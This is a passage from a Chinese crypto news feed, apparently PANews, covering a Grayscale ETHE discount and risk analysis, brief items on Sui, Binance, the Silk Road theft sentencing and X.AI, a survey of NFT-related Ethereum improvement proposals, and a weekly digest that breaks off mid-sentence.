批准上市不同，SEC 尚未批准任何基于以太坊的基金上市，这与有关以太坊的法律地位仍存在争议有关。 Grayscale Ethereum Trust（ETHE）是一种注册的投资信托，而不是注册的投资公司。具体来说，是根据特定州的法律成立的信托，并且在美国证券交易委员会（SEC）根据1933年证券法规定的豁免条款下进行注册。这意味着 ETHE 不需要遵守1933年证券法规定的某些要求，例如向公众披露信息和进行注册等。 然而，如果SEC认为信托需要根据1940年投资公司法案需要注册成为投资公司，则 Grayscale 认为此种情况下信托架构可以解散，并且其份额可能会被转换为股票，但这只是一种猜测，最终取决于公司具体情况和监管意见，以及交易所的规定。 另外如果 ETHE 被CFTC认为是一种商品投资组合，需要符合《商品交易法案》（CEA）的相关规定并向CFTC进行注册和监管，也是一种可能的监管方向。 其实 Grayscale 一度提供赎回计划，但该计划在2016年被SEC指控违反Regulation M，因此被叫停。具体来看SEC 担心 Grayscale信托在创建新股份的同时进行股份赎回，可能会影响市场价格，导致市场操纵、内幕交易或不公平的交易实践。所以此后 Grayscale 暂停了 GBTC 的赎回计划，并且在后续发行的 BCH 和 ETHE 等信托基金都沿用了该操作，以确保其交易实践符合适用的法规和监管要求。 由于 Grayscale 目前不认为 SEC 当前会考虑豁免持续的赎回计划，因此，信托也没有寻求从 SEC 获得相关监管批准的动作。 但未来不排除主动寻求这种豁免的可能性，尽管时间和成功概率都不确定。并且开发赎回资产会让作为信托管理人的 Grayscale 收入减少，眼下其主动追求申请赎回豁免动力或不足。 如果获得了这样的豁免并且 Grayscale 同意赎回，赎回计划可以开展。赎回计划将使授权参与者（AP），在信托份额市值偏离 ETH 持仓价值、减去基金费用和其他负债的价值时，得到套利机会。这种套利的机会可能会被 AP 独占，也有可能被 AP 转移给客户，目前尚不清楚，因为目前仅有 Grayscale 关联公司作为独家 AP，独占可能引发不公平竞争的担忧。 前文我们论述了折价套利的路径不通顺所以导致折价无法明显修复的问题。但是另一方面，因为 CTA 策略的存在，当加密市场整体进入积极势头时，即便当下仍然不能赎回，套利交易者也可能将折价区间压缩。因为自2019年ETHE诞生以来，该产品还尚未经历完整的“周期”。我们认为一个完整的周期应遵循溢价→平价→折价→平价→溢价的循环，目前ETHE产品只走完了前一半的周期。 图8：Annual Return ETHE Vs. ETH（可看出以年为周期的长期表现上 ETHE 不及 ETH）   来源：Graysacle, Trend Research 图9：Monthly Return ETHE Vs. ETH（可以看出在短周期表现上ETHE弹性大于ETH）   来源：Graysacle, Trend Research 从上图年度和月度回报对比可以看出，在2019–2022属于“溢价→平价→折价”周期，这一周期可以理解成消泡沫周期，ETHE 是不具备超额收益的，在此期间投资并非好选择。然而由于 ETHE 产品弹性大于 ETH 本身，所以在未来“折价→平价→溢价”的修复周期中，理应创造更好的正向收益，事实上从今年过去的3个月的表现对比中也明显可以看到这一点，ETHE 的涨幅是 ETH 的1.7倍。 若即无法获得赎回豁免也无法获批ETF转换，这样的情况若持续太久，由于基金管理在不断扣费可能引发投资人不满，所以 Grayscale 会面临较大的清算解散压力。一旦清算确认，则二级市场针对 NAV 的折价可能很快恢复。 事实上已经破产的 FTX 其附属公司Alameda Research 在2023年3月已起诉 Grayscale Investments 及其所有者DCG集团，攻击 Grayscale 收取高额费用，并拒绝让投资者从 GBTC 和 ETHE 赎回，Alameda 称由于这样的结构导致它正遭受“数亿美元的损失”。类似的情形随着时间的推移可能越来越多。 此外，根据申报文件，可能触发 ETHE 信托提前终止并清算的主要情况还包括： 假设一种极端情况，即 Grayscale 愿意回购市场以低于NAV的成本上所有流通份额，并决定将信托私有化或解散清算，这样的操作显然是有利可图的。并且宣布大额回购计划有助于提升市场信心，可能利于折价回归。 Grayscale 的母公司 Digital Currency Group 2021年~2022年曾陆续宣布总计高达10亿美元的信托份额回购计划。但此后 GBTC 仍然以低于NAV的价格交易，这可能是因为回购规模相对数百亿美元的总体资管规模来说杯水车薪，尽管二级市场回购助于缩小价差。 此外，在Grayscale 首席执行官Michael Sonnenshein 2022 致投资者的年终信中提到，如果 GBTC ETF 没有实现，其中一项让投资人解锁的方法就是要约收购，例如回购 GBTC 不超过20% 的流通股。如此事发生，应该会兼顾所有旗下信托产品，ETHE 的折价也可能收窄。 根据我们在主题2中讨论的如今的折价部分可以理解成为机会成本的折现，所以如果 Grayscale削减管理费用，或者市场无风险利率下降，将在同样的恢复平价时间预期的基础上有助于折价收窄，事实上Grayscale 首席执行官 Sonnenshein 在今年3月份也曾提到可能削减费用。 即便现在10.5年的预期不变，进行简单模拟： 图10：无风险利率下降可能带来的折价收窄模拟   来源：Graysacle, Trend Research 主题3：为什么适合专业投资者押注加密市场 1.Grayscale 数字货币信托产品在可触达性、资产负债表入账处理、相比自己保管私钥的成本优势、投资税收优势等方面的优势，并且截止目前，ETHE 仍是美股市场提供的唯一将以太坊现货作为其主要资产的“股票”。 具体看来： 可触达性：Grayscale数字货币信托份额可以通过常见的美股券商进行交易，这意味着投资者可以更容易地买入和卖出这些产品。相比之下，通过加密货币交易所或其他渠道进行交易，这可能会涉及到更多的风险和手续费。 资产负债表管理：Grayscale数字货币信托产品是一种证券产品，这意味着专业投资者不必担心如何在资产负债表中处理自己的数字资产，并且可以更容易地将其纳入自己的投资组合中。 托管成本优势：相比于自己保管私钥的数字货币，Grayscale数字货币信托产品可能具有更低的成本。例如在链上购买数字货币时，投资者可能需要承担较高的学习成本和网络费用。并且在保管私钥时可能面临泄露风险，面临一旦丢失可能完全无法回收资产的可能性。而在购买和销售Grayscale数字货币信托产品时，投资者只需要支付与证券交易相关的佣金和费用。 投资税收优势：根据美国税法，Grayscale数字货币信托产品被视为证券产品，因此可能享有与其他证券产品相同的投资税收优惠。例如，在长期持有Grayscale数字货币信托产品超过一年后出售，投资者可能可以享受更低的资本利得税率。 2022年底以来的牛市反弹，ETHE最高107%，远大于ETH的61%，可见在折价周期中已经计入了相当多悲观因素，所以当市场反弹时，ETHE的弹性大于ETH，是对牛市更好的押注。 图11：ETHE和ETH2022年底以来底涨幅对比   来源：Tradingview, Trend Research 主题4：ETHE 投资的风险 1.政策和机制风险 对ETH或任何其他数字资产的认定为“证券”可能会对ETH和该股票的价值产生不利影响； 任何司法辖区限制ETH的使用、验证活动或以太坊网络或数字资产市场的运作，可能对该股票的价值产生不利影响； 法规变化或解释可能会强制信托注册并遵守新的法规，这可能会对信托产生额外支出； 因为Grayscale的关联公司是唯一可以创建或销毁基金份额的机构，不管因为监管限制，还是技术原因，都可能导致发行和销毁的数量未必可以高效的根据市场需求调节，进而导致二级市场交易价格可能经常大幅偏离NAV； 2.统计特征风险 历史上看 ETHE 的风险回报比不佳，如表2可见 ETHE 几乎在所有方面相较于 ETH/USD 表现较弱。意味着如果准备长期持有ETHE可能要做一些针对性的收益增强策略，否则如果牛市不能快速到来的话其表现有弱于大盘的风险。 表2: Risk and Return Metrics (Jul 2019 — Mar 2023)   来源：Graysacle, Trend Research 收益率：无论是月度还是年化的算术平均收益率、几何平均收益率，ETH 的表现均优于 ETHE。特别是在年化收益率上，以太坊美元达到了150.24%，而灰度以太坊信托仅为102.18%。年化几何平均收益率方面，以太坊美元达到了62.90%，而灰度以太坊信托则为-11.12%。 风险调整收益：从夏普比率、索提诺比率和特雷诺比率等风险调整收益指标来看，ETHE 在调整风险后的收益表现均弱于 ETH。 波动性：ETHE 的波动性（标准差）较高为 137.75%，这意味着投资者可能面临较大的价格波动风险。相比之下，ETH 的波动性较低为 100.48%。 最大回撤：ETHE 的最大回撤达到了-89.6%，高于以太坊美元的-77.96%，这意味着在过去的表现中，ETHE 在最糟糕的情况下损失更大。 主动回报和信息比率：ETHE 的主动回报为-74.02%，信息比率为-0.73，这意味着相比于以太坊美元，灰度以太坊信托在主动管理方面的表现较差，尽管这主要由于二级市场价格波动造成，基金持仓资产并没有因为主动交易变少。 关于如何针对 ETHE 做收益增强确保穿越牛熊，我们会在系列报告的第二篇进行探讨。  ( 22 min )
    公链Sui发布代币社区访问计划
    PANews 4月15日消息，公链Sui发布了SUI代币社区访问计划，并表示不会有任何SUI代币的空投，但将向支持者提供购买的权利。根据计划显示，有资格参与购买的包括第1轮测试期间Capy Holidays竞赛获胜者、部分参与组织Builder Houses和其他重要活动的成员、部分社区参与者。  ( 1 min )
    币安和巴西足协推出免费NFT
    PANews 4月15日消息，据The Block报道，币安和巴西足协推出了一款免费NFT。现有客户可以“通过介绍朋友在币安开户来获得NFT”。获得NFT的球迷将能够参与“游戏化”体验，赢得奖品和门票，同时还可以在使用币安时享受更低的交易费用。去年，巴西总统签署了一项立法，为比特币的交易和使用建立了监管框架。  ( 1 min )
    OKX、Bybit、Kucoin等交易所宣布将上线Sui Token
    PANews 4月15日消息，据官方消息，4月15日，OKX、Bybit、Kucoin 等交易所宣布将上线Sui Token ，相关交易所均有推出Sui Token的WL白名单的认购机制。暂时未有Binance上线Sui Token的消息。据此前消息，Sui开发团队Mysten Labs创始人Evan Cheng与Adeniyi Abiodun在TwitterSpace中表示，会有一个十万人白名单的社区访问计划。Adeniyi Abiodun在推特回应了用户关于SUI空投的问题，明确表示未来不会有SUI空投计划。  ( 1 min )
    “丝绸之路”黑客James Zhong承认欺诈罪，被判处一年监禁
    PANews 4月15日消息，据The Block报道，丝绸之路暗网黑客James Zhong利用九个账户进行快速交易，骗过了丝绸之路的提款处理系统，从该网站窃取了5万多枚比特币。他承认了一项电信欺诈罪，并被判处一年零一天监禁。据悉，该事件发生在2011年至2013年之间，当时比特币的价格要低得多。2013年年底，比特币价格不足800美元，远低于目前约3万美元的市场价格。当局于2021年11月9日对Zhong家进行了突击搜查，当时比特币的价格接近其69000美元的历史最高价。在联邦当局控制这些比特币时，其总价值已达到34亿美元。即使近期在Zhong被判刑时，这些资产的价值仍然超过了15.7亿美元。据美国司法部透露，Zhong曾将500枚比特币存入一个钱包，并在五秒钟内发起5次取款，利用丝绸之路支付系统的漏洞将他最初的存款变成了2500枚比特币。  ( 1 min )
    马斯克已创建人工智能公司X.AI
    PANews 4月15日消息，据《华尔街日报》报道，马斯克创建了一家致力于人工智能的新公司X.AI。内华达州的一份文件显示，该公司于3月9日注册成立，目前马斯克担任董事，马斯克家族理财室董事Jared Birchall担任秘书。据Business Insider的一份报告显示，马斯克已经购买了数千个图形处理单元 (GPU) 来支持即将推出的生成式人工智能产品。《金融时报》报道称，马斯克计划创建一家人工智能公司，与微软支持的OpenAI竞争。他甚至向SpaceX和特斯拉投资者寻求资金来启动公司。  ( 1 min )
    NFT技术趋势是什么？从即将通过的EIP提案略窥一二
    原文：《从即将通过的EIP提案窥见NFT的未来》 作者： zf857.eth EIP的全称是以太坊改进提案(Ethereum Improvement Proposals)，以太坊社区中的任何人都可以创造一个 EIP。以太坊改进提案编写准则在 EIP-1中提供。以太坊改进提案的创作者负责在社区内建立共识并记录不同意见。从历史上看，大多数以太坊改进提案的创作者通常是应用程序或协议开发者，因为提交高水平的以太坊改进提案需要很强的技术能力，EIP经过初审后会按照时序给予一个编号，并经由下图所示的审核流程进行讨论。 EIP有很多种类型，其中包括有Core、Networking 、Interface 、ERC、Meta、Informational，每一类解决的问题都不一样，我们耳熟能详的ERC-20、ERC-721、ERC-1155，属于应用级的标准协议，目前绝大多数NFT产业应用都是围绕着这几种主流协议展开的。EIP就像是一部以太坊的编年史，记录了其诞生至今所有的发展脉络，同时也有着预见整个以太坊生态前进方向的能力，见微知著，一个EIP的改动可能蕴含着颠覆整个行业的巨大机会。本文在此将会把目光聚焦在与NFT相关的并且处于Last call和最近Final阶段的EIP提案。 该EIP建议规范NFT元数据(metadata)的模式，为EIP-721和EIP-1155标准NFT的JSON模式中添加一个新字段命名空间(namespaces)。主要代码如下图所示： EIP-4955采用了直接扩展EIP-721元数据的方式，背后的想法是为了向后兼容。使得那些不能修改元数据响应（schema）的现有项目，能够创建一个新的智能合约，基于tokenId返回更新的元数据模式。鉴于以太坊上的大多数项目都使用不可升级的合约。如果这个EIP需要对这些合约进行全新的实现，就必须重新部署。这样既浪费时间又浪费钱。而利用EIP-721现有的元数据字段，可以最大限度地减少必要的变化数量。 有许多项目需要自定义NFT属性。每个项目可能有自己的方式来渲染NFT，因此他们需要不同的元数据值。例如像Decentraland或TheSandbox这样的元宇宙项目，他们需要不同的3D模型来渲染NFT，基于每个项目的视觉/引擎。像Cryptopunks、Bored Apes等NFTs项目可以创建每个项目所需的3d模型。 有了新字段命名空间(namespaces)，每个项目方或者供应商都可以通过namespaces来直接调用NFT资产(如上图代码所示)，这将允许开发人员在单个智能合约或应用程序中使用多个NFT元数据时避免命名冲突。并且NFT的元数据将允许钱包、市场、元宇宙等NFT相关应用程序与任何NFT互相操作。这项提案对需要支持多种元数据模式的NFT市场很有用，即使多个卖家使用不同的元数据模式，该EIP将使得市场运营商能够确保元数据密钥是唯一的同时自由储存特定的JSON数据。该建议的解决方案甚至可以有更广泛的应用，如大型Gamefi和元宇宙中的大量NFT可以通过自定义元数据来呈现不同属性，同时可以避免命名冲突，极大的提高了NFT的互操作性。 EIP-5006该提案是由NFT 租赁市场 Double Protocol提出针对ERC-1155型NFT的租赁标准，这个标准是对ERC-1155标准的延伸。该提案建议在NFT元数据中增加一个额外的新字段用户（user），可以被授予代表资产用户（user）而不是所有者的地址（owner）。 早在去年6月29日，同样由NFT 租赁市场 Double Protocol推出的 EIP-4907 正式通过以太坊审核，成为了第一个可租赁 NFT 的 ERC 标准。EIP-4907作为ERC-721的扩展，增加了一个用户信息（UserInfo）变量，变量包涵用户（User）地址以及“出租到期时间（userExpires）”,当时间超过出租时间，租赁关系中止。主要代码如下图所示： 不同于EIP-4907对于ERC-721的简单扩展，EIP-5006中基于ERC-1155的特殊数据结构(ERC-1155本身是一种多重代币管理标准，他的ID可以对应多个地址以及token数量)，增加了Userrecord以及usableBalance函数，可以便捷地批量管理租赁状态。主要代码如下图所示： EIP-4907和EIP-5006标准的核心价值 不管是ERC-721还是ERC-1155标准代币都需要这样一种新效用。即"使用 "令牌的人可能与拥有令牌的人不同（如在租赁中）。因此，为 "所有者 "和 "使用者 "设置不同的角色是有必要的，这样 "使用者 "就不能采取所有者可以采取的行动（例如，转移所有权）。EIP4907和EIP-5006的提出明确了NFT的权利分配，有利于解决NFT流动性短缺。有了双重的 "所有者 "和 "使用者 "角色，就能实现 NFT 的所有权和使用权的分离，这是解决NFT流动性短缺问题的关键基础设施，为一些链上的使用场景如租赁提供了技术支持。使得管理NFT贷款人和借款人可以和不可以对NFT做什么（换句话说，他们的权利）变得非常容易。例如，对于转让所有权的权利，项目只需要检查采取该行动的地址是代表所有者的地址（owner）还是用户（user），如果是用户（user），则阻止该交易。此外，所有者可以控制谁是用户，其他项目也很容易将自己的权益明确分配给所有者或用户。 与此同时，在无许可互操作性的基础上，该标准使得第三方协议更容易管理NFT的使用权，而无需获得NFT发行方或NFT应用的许可。一旦一个项目采用了额外的用户角色，任何其他项目都可以直接与这些功能互动，并实现他们自己的交易类型。例如，使用该标准的PFP类NFT可以被整合到一个租赁平台，用户可以租用NFT 30天，同时也可以整合到一个抵押贷款平台，用户可以使用NFT，同时最终通过分期付款购买NFT的所有权。这一切都将在不需要原始PFP项目的许可下完成。 EIP-4907与EIP-5006的推出无疑将进一步明确NFT扩大应用价值的方向，将会涌现更多丰富的玩法、应用场景和衍生品。例如租赁NFT的普及将会让GameFi 生态玩法更加丰富，资金周转率会大幅提升。像Axie等大型Gamefi中真正能够贡献在线时长的这些海量基础玩家们，需要一种比较低信任成本的方式（非强制性转移型租赁）去租到游戏里的装备或资源权益等。很多NFT将更具有实用性。像是元宇宙中的虚拟土地可以被 "使用 "，代表游戏资产的NFT可以在游戏中被 "使用"。在某些情况下，所有者和使用者可能并不总是相同。可能有一个NFT的所有者，将其出租给一个 "用户"。一个 "用户 "应该能够对NFT采取的行动将不同于 "所有者"（例如，"用户 "通常不能出售NFT的所有权）。在这些情况下，有单独的角色来识别一个地址是代表 "所有者 "还是 "用户"，并相应地管理执行行动的权限，是非常有意义的。 该提案建议在ERC-721代币标准基础上增加一个新的属性，包含初始时间到期时间（startTime, endTime）。从而使得NFT在链上的时间管理更简单高效。一些NFT有明确的使用期限，在该期限之外不能使用。对于不包含时间信息的传统NFT，如果你想把一个令牌标记为无效或在特定时间启用，你需要主动提交交易--这个过程显然既麻烦又昂贵。并且其时间函数的接口不一致，会给第三方开发平台带了一些困难，而通过引入这些函数（startTime, endTime），就可以实现在链上自动启用和禁用NFT。主要代码如下图所示： 这个功能还可以给NFT带来很多新的使用场景，比如以NFT为媒介的访问服务或基于NFT的订阅内容应用，因为EIP-5007将允许开发者在设定的时间段后自动撤销对服务或内容的访问。除此之外协议的扩展也可以应用于数字艺术或收藏品，其中NFT的价值可能随着时间的推移而减少。指定到期时间的能力可以帮助防止NFT随着时间的推移变得 "陈旧 "或贬值。 另外值得一提的是，如果到期时间没有得到正确执行，或如果恶意行为者试图篡改到期日字段，拟议的解决方案可能会产生安全问题。因此我们认为可能还需要额外的措施，以确保到期日得到正确执行，并确保NFT所有者不会被不公平地锁定其资产。 EIP-5496提出了对EIP-721代币标准的扩展，允许NFT的多权益管理。该提案定义了一个扩展EIP-721的接口，为NFT提供可共享给多人的权益。权益可以是链上的（投票权、要求空投的许可）或甚至是链上以外的（网上商店的优惠券、当地餐馆的折扣、进入机场贵宾室）。每个NFT可能包含许多权益，而权益的持有者可以将该权益转让给其他人。权益可以是不可共享的或可共享的。可共享的权益可以被克隆复制，提供者可以根据传播路径调整细节。也可以为每个特权设置过期时间。主要代码如下图所示： 具体的权益数据管理过程使用了两个结构体做双层嵌套，首先定义了PrivilegeRecord，里面存储了用户地址（address user）和到期时间（expiresAt）两个字段，然后又定义了PrivilegeStorage，里面存储了最新一次的到期时间（LastExpiresAt），并用mapping的方式去将权益ID和PrivilegeRecord进行了绑定。这种权益ID化的方式非常聪明，权益ID化后对于验证权益会非常的方便，不需要特别的去逐字匹配校验权益，只需要校验权益ID即可，权益的内容变通常比较频繁，将权益内容放在链下，只将权益ID放在链上，项目方对于权益进行改变时则不需要花gas费。但权益ID化之后问题是无法直观的看到这个NFT到底都有什么权益，可能还需要第三方产品去单独做一个权益内容的设置和查询功能去索引到对应ID。主要代码如下图所示： 该协议可以达到实时有效地管理附加在NFT上的权益。许多NFT的功能不仅仅是作为个人资料图片或艺术收藏品，它们可能在不同的场景中具有真正的效用。例如，一家时装店可能会给自己的NFT持有者打折；DAO成员NFT持有者可以对如何使用他们的国库的提议进行投票；一个DApp可能会创建一个空投事件来吸引某一群人，比如一些蓝筹NFT持有者来认领；杂货店可以在链上发行其会员卡（作为NFT），当会员在杂货店购物时给予某些特权，等等。作为发行方对于NFT的权益赋能可能会有很多，而拥有NFT的人不一定想使用他们的权益，而传统的EIP-721协议只支持记录NFT的所有权和转让过程，NFT的权益是不被记录在链上的，EIP-5496的扩展将允许商家/项目将权益写入链上，并授予特定人群，并且权益拥有者可以独立管理每个权益，从而对于项目方和holder均具有权益的管理能力，释放了NFT在权益实用性领域的价值，促进了NFT大型实际应用落地的可能。 EIP-5606定义了一个接口为数字资产（如可穿戴设备和游戏中的物品）创建一个Multiverse NFT（多元宇宙NFT）标准，同时可以索引这种资产在每个平台上的委托的NFT。这些平台可以是metaverses，Gamefi或NFT市场。该标准还允许在多元宇宙NFT中对这些委托NFT进行 "捆绑 "和 "解绑"，因此持有者可以单独或作为捆绑物进行交易。主要代码如下图所示： EIP-5606引入的多元宇宙NFT概念，它代表了一个跨越多个平台的数字资产。多元宇宙NFT合约定义了一种新的代币，保持了独特的数字资产与其相关的平台对应物之间的关系（EIP将它们称为委托代币）。该标准引入了bundle捆绑物的简单概念。捆绑物本质上是一组由唯一的ID号（多元宇宙代币ID）标识的委托NFT。DelegateData结构包含每个平台上的委托NFT代币的信息。它包含的变量有：contractAddress、tokenId、数量，以区分NFT（遵循ERC-721标准或ERC-1155标准）。捆绑和解绑函数接受一个DelegateData结构数组，因为需要满足部分捆绑和解绑。他们还需要委托NFT的单独的token ID来有选择只有多元宇宙NFT的所有者（或具有bundler角色的地址）可以调用捆绑函数。 在web3生态系统中，NFT已经发展到代表多种类型的独特和不可替代的资产。一种类型的资产包括一组相互关联的NFT。例如，如果一个品牌在不同的平台上发布了一款新的运动鞋，它将在每个平台上被铸成一个单独的NFT。然而，实际上，它是同一款运动鞋。NFT缺乏跨平台的互操作性成了一个亟待解决的问题。创建一个多元宇宙NFT标准，允许在不同的平台上对数字资产进行索引和所有权，这将是实现跨平台的互操作性和真正的所有权的第一步。在这个方向上，EIP-5606提案是解决NFT和跨平台 "真正 "所有权的互操作性方面的第一个切实的尝试。 EIP-6150该协议在EIP-721的基础上进行延伸。它提出了一个类似文件系统的多层分层NFT结构。本协议在EIP-721及合约基础上添加了获取父NFT或子NFT以及NFT是叶节点还是根节点的新接口，并且保持它们之间的层次关系。所谓NFT之间的层级关系是指所有的NFT将组成一个分层关系树。每个NFT都是树上的一个节点，可能是根节点或叶节点，也可能是父节点或子节点。主要代码如下图所示： 本提案中先对Minted事件进行了标准化，以表明在铸造一个新节点时的父子关系。在每一个一个分层树中，本提案规范了函数parentOf用于查询指定 tokenId 的 NFT 的父节点 NFT，规范了函数childrenOf来查询出指定 tokenId 的 NFT 的所有子节点 NFT。以此来方便查询上层和下层节点。此外函数isRoot和isLeaf则分别可查询指定 tokenId 在整个 NFT 层级树中是不是根节点或叶子节点。 另外值得一提的是本提案非常周密的添加了三个可选的扩展接口 本提案将三个函数标准化，作为支持涉及子节点的可枚举查询的扩展。每个函数都有param parentId，为了兼容，当parentId指定为0时意味着查询根节点。 层级关系的转移扩展(IERC6150ParentTransferable)在某些情况下，比如文件系统，一个目录或一个文件可以从一个目录移动到另一个目录。所以本提案增加了ParentTransferable扩展来支持这种情况。 在一个层次结构中，通常有一个以上的账户有权限操作一个节点，比如铸币厂的子节点，转移节点，燃烧节点。本建议增加了一些标准功能来检查访问控制的权限。 由于目前的NFT几乎都是扁平化的，不同NFT之间不存在关联关系。而层级化标准的 NFT，则可以将所有NFT串联起来组成树状结构，就像文件系统一样。层级化的 NFT 可用于多种不同的应用场景，比如：组织架构、社交关系图谱、电商商品类目结构以及层级评论系统等等。 可以说，任何具有层级结构的场景都可以适用这个 EIP-6150 协议标准。层级结构的 NFT 在去中心化社交、去中心化电商等领域都将可能产生广泛应用。在以太坊生态系统内，单个智能合约可以是根，管理每个目录/类别作为单独的NFT和NFT的层次关系。每个NFT的tokenURI可以是另一个合同地址，网站链接，或任何形式的元数据。只需要一个合约来管理和操作分层关系，在不远的未来，随着以太坊的数据可用性解决方案和外部无权限数据保留网络的发展，用于管理组织结构的链上公司将成为可能，从而实现完全去中心化的应用。 以上就是近期以太坊NFT协议的最新内容，截止本稿之前，EIP-5007与EIP-5496还处在Last Call阶段，EIP-4955、EIP-5006 、EIP-5606 、EIP-6150协议已经由Last Call转到Final阶段。总体的来说这些新协议的通过对于NFT在创新性以及实用性角度是做出很大贡献的，如今NFT已经过去了PFP的阶段，而Web3的征途是星辰大海，创新无时无刻不在上演，NFT的下一个叙事到底要由什么开启，我们从这些协议中可以窥见NFT的未来正越来越朝向更实际，更具有应用性的方向发展。在不远的未来NFT技术本身将改变游戏、保险、房地产买卖、付费广告、投票、社交平台、视频媒体......我们生活的方方面面. NFT 将不仅仅是加密的“一部分”。在接下来的几年里，它们将可能成为加密领域中唯一与现实世界紧密相关的实际应用。 EIP-4955: https://eips.ethereum.org/EIPS/eip-4955 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-4955.md EIP-5006 https://eips.ethereum.org/EIPS/eip-5006 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-5006.md EIP-5007 https://eips.ethereum.org/EIPS/eip-5007 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-5007.md EIP-5496 https://eips.ethereum.org/EIPS/eip-5496 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-5496.md EIP-5606 https://eips.ethereum.org/EIPS/eip-5606 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-5606.md EIP-6150 https://eips.ethereum.org/EIPS/eip-6150 https://github.com/ethereum/EIPs/blob/master/EIPS/eip-6150.md 版权声明：如需转载欢迎加小助理微信沟通，未经允许转载、洗稿、我方将保留追究法律责任的权利。 免责声明：市场有风险，投资需谨慎。请读者在考虑本文中的任何意见、观点或结论时严格遵守所在地法律法规，以上内容不构成任何投资建议。  ( 3 min )
    英国政府将推进元宇宙和Web3战略
    PANews 4月15日消息，据CoinDesk报道，据知情人士透露，英国新成立的科学、创新和技术部将推进该国的元宇宙和Web3战略。英国于3月发布的2023年春季预算称，政府希望“引领网络技术的未来，有时被称为Web3或元宇宙”，而今年2月成立的新技术部门将负责这项工作。该消息人士表示，该部门的工作不会集中在区块链和虚拟现实等具体技术上，而是会研究与元宇宙和Web3等概念相关的潜在经济增长机会、投资和商业模式以及对监管的影响。  ( 1 min )
    Mysten Labs以9600万美元的价格从FTX手中回购股份
    PANews 4月15日消息，据The Block报道，Mysten Labs支付了9600万美元从FTX手中回购股份。此次回购得到了美国破产法院的批准。Mysten在一份声明中表示，9600万美元的总回购价格包括FTX去年购买的Mysten Labs股权以及“FTX购买Sui代币的所有认股权证”。据此前消息，Mysten Labs于2022年9月完成3亿美元融资，FTX Ventures领投。  ( 1 min )
    一周精选丨香港举行Web3嘉年华；以太坊上海升级完成；FTX或考虑重启
    PANews编者按：PANews精选了一周的优质内容，帮助大家利用周末时间查漏补缺，点击标题即可阅读。 香港特首李家超出席香港Web 3.0协会成立典礼致辞（全文） Web3对金融科技的发展起着关键的作用。特区政府在去年底就虚拟资产在香港的发展发表政策宣言，展示我们对虚拟资产创新有开放态度，有坚定决心，好高兴见到业界的反应都十分正面。 一文了解获港府和北京支持的香港Web3.0协会，初创会员尚无加密原生机构 香港Web3.0协会在港正式成立，发起方和创始会员大都为传统金融或科技公司，尚无加密货币原生机构。 香港Web3嘉年华在即，亚洲加密市场发展现状与思考 本篇文章我们将对各地区的政策一一分析，并推荐一些对于项目方拓展用户行之有效的参考方法。 专访HashKey Group新任COO Livio：“东升西降”的新格局已成为趋势，持牌交易所是未来10年主旋律 从火币CEO到HashKey Group，“七爷”抓住了香港Web3的机遇与春天。 对话香港投资推广署科技主管：香港为何具备成为Web3枢纽的优势？ 从发展机遇、扶持策略和监管政策等方面，看香港打造Web3枢纽的决心和能力。 更多香港Web3嘉年华前线消息，请进入专题：最前线：2023香港Web3嘉年华 “上海升级”进入倒计时，解析三个阶段的ETH潜在抛压 升级后将有三个阶段的ETH抛压。但Shapella升级将使ETH质押脱离不确定性的风险，并为ETH质押率的上升铺平道路，这将在某种程度上对冲掉潜在的抛压。 上海升级后的以太坊：展望质押赛道与抛售潮 根据模型测算，以太坊质押量达到 44.3M 时，质押收益率会降为 2.5%；但是，LSD 会带来很多新的玩法包括循环贷、套娃等。 以太坊上海升级“终极指南”：你需要了解的一切 随着以太坊核心开发人员在部署测试基础设施方面变得越来越熟练，以及更多有才华的贡献者进入这个领域，以太坊的快速发展应该只会继续加速。 以太坊上海升级，DeFi 3.0的序章 ‍由于以太坊是DeFi的主要基础设施，因此即将推出的Shapella升级对DeFi的发展具有重要意义。 以太坊Shapella升级可以给我们带来哪些期待？ 本文涵盖Shapella升级的背景、对$ETH价格的影响、受益者有哪些，以及以太坊路线图的下一步计划是什么。 想要了解以太坊上海升级前世今生及未来展望，请进入专题：上海升级：以太坊POS的最后一块拼图 全视角解读Web3数据经济：LSD 之后的下一个千亿级赛道 Web3 是数据要素市场的天然土壤，它从技术上杜绝了作弊的可能性，能够大大减轻监管压力，让数据作为真正的生产要素存在，并进行市场化配置。 大机构都在布局的RWA赛道，或是下一轮叙事的开始 RWA(real world assets）：Defi和Tradfi之间的桥梁，一个更加宏大的叙事以及更广阔的市场。今天就来好好聊聊RWA赛道。 一文了解ERC-20代币标准提出者推出的Layer 1区块链LUKSO LUKSO经过多次延期，主网终于即将上线，这个以太坊的“姐妹”区块链有何特别之处？ 为什么Eigenlayer能引领多重质押叙事？ 在Eigenlayer之后，“多重质押”将成为主流，这种资本的解锁最终对以太坊生态系统中的各方都有利。 财富杂志特稿揭秘赵长鹏往事：是什么力量塑造了他？ 在采访中，赵长鹏还罕见地透露了家庭状态：他早已成为一位父亲，他与Binance联创何一已育有两个蹒跚学步的孩子。 数据对比OP和ARB空投：OP单地址获利高，ARB获得空投用户多 Arbitrum近期的空投无疑又一次成就了币圈的“造富”神话，如果与Optimism在去年5月底进行的第一轮空投相比，Arbitrum此次空投的“造富”效应如何？ Arthur Hayes成立加密基金Maelstrom Capital，瞄准基础设施，慎投美国项目 BitMEX前首席执行官Arthur Hayes近日宣布成立投资机构Maelstrom Capital，投资重点是加密基础设施领域，BitMEX曾经作为被监管的第一锤，在监管愈加严格的当下，Hayes此次布局是如何思考的，我们一睹为快。 PancakeSwap V3推出后，BNB链上套利优于以太坊？ 以太坊作为最赚钱的MEV战场，存在着大量的套利交易，虽然技术的高门槛使其成为少数人游戏，但高昂的成本也在限制着这些套利者，而PancakeSwap推出的V3版本试图改变这一局面。 加密圈最活跃的游戏风投BITKRAFT Ventures：已出手超30个加密项目，2.4亿新基金蓄势待发 专注于游戏和电子竞技领域的BITKRAFT Ventures，直是链游领域最活跃的投资机构之一。 数据解析NFT Q1市场表现：NFT生态正向Polygon聚拢，蓝筹项目"保值"难 2023年Q1NFT规模出现可喜回升，链上交易活动逐渐活跃，市场开始密集上新，新老玩家竞争加剧。 a16z解读最新NFT发行策略Wave Mint：工作原理、优势和挑战 本文将介绍 wave mint 机制的工作原理，它的优势和挑战，以及我们在实践中运行 wave mint 的一些经验。 NFT市场竞争白热化，老玩家和新选手们都使出了什么“解数”？ 面对竞争如此激烈且白热化的 NFT 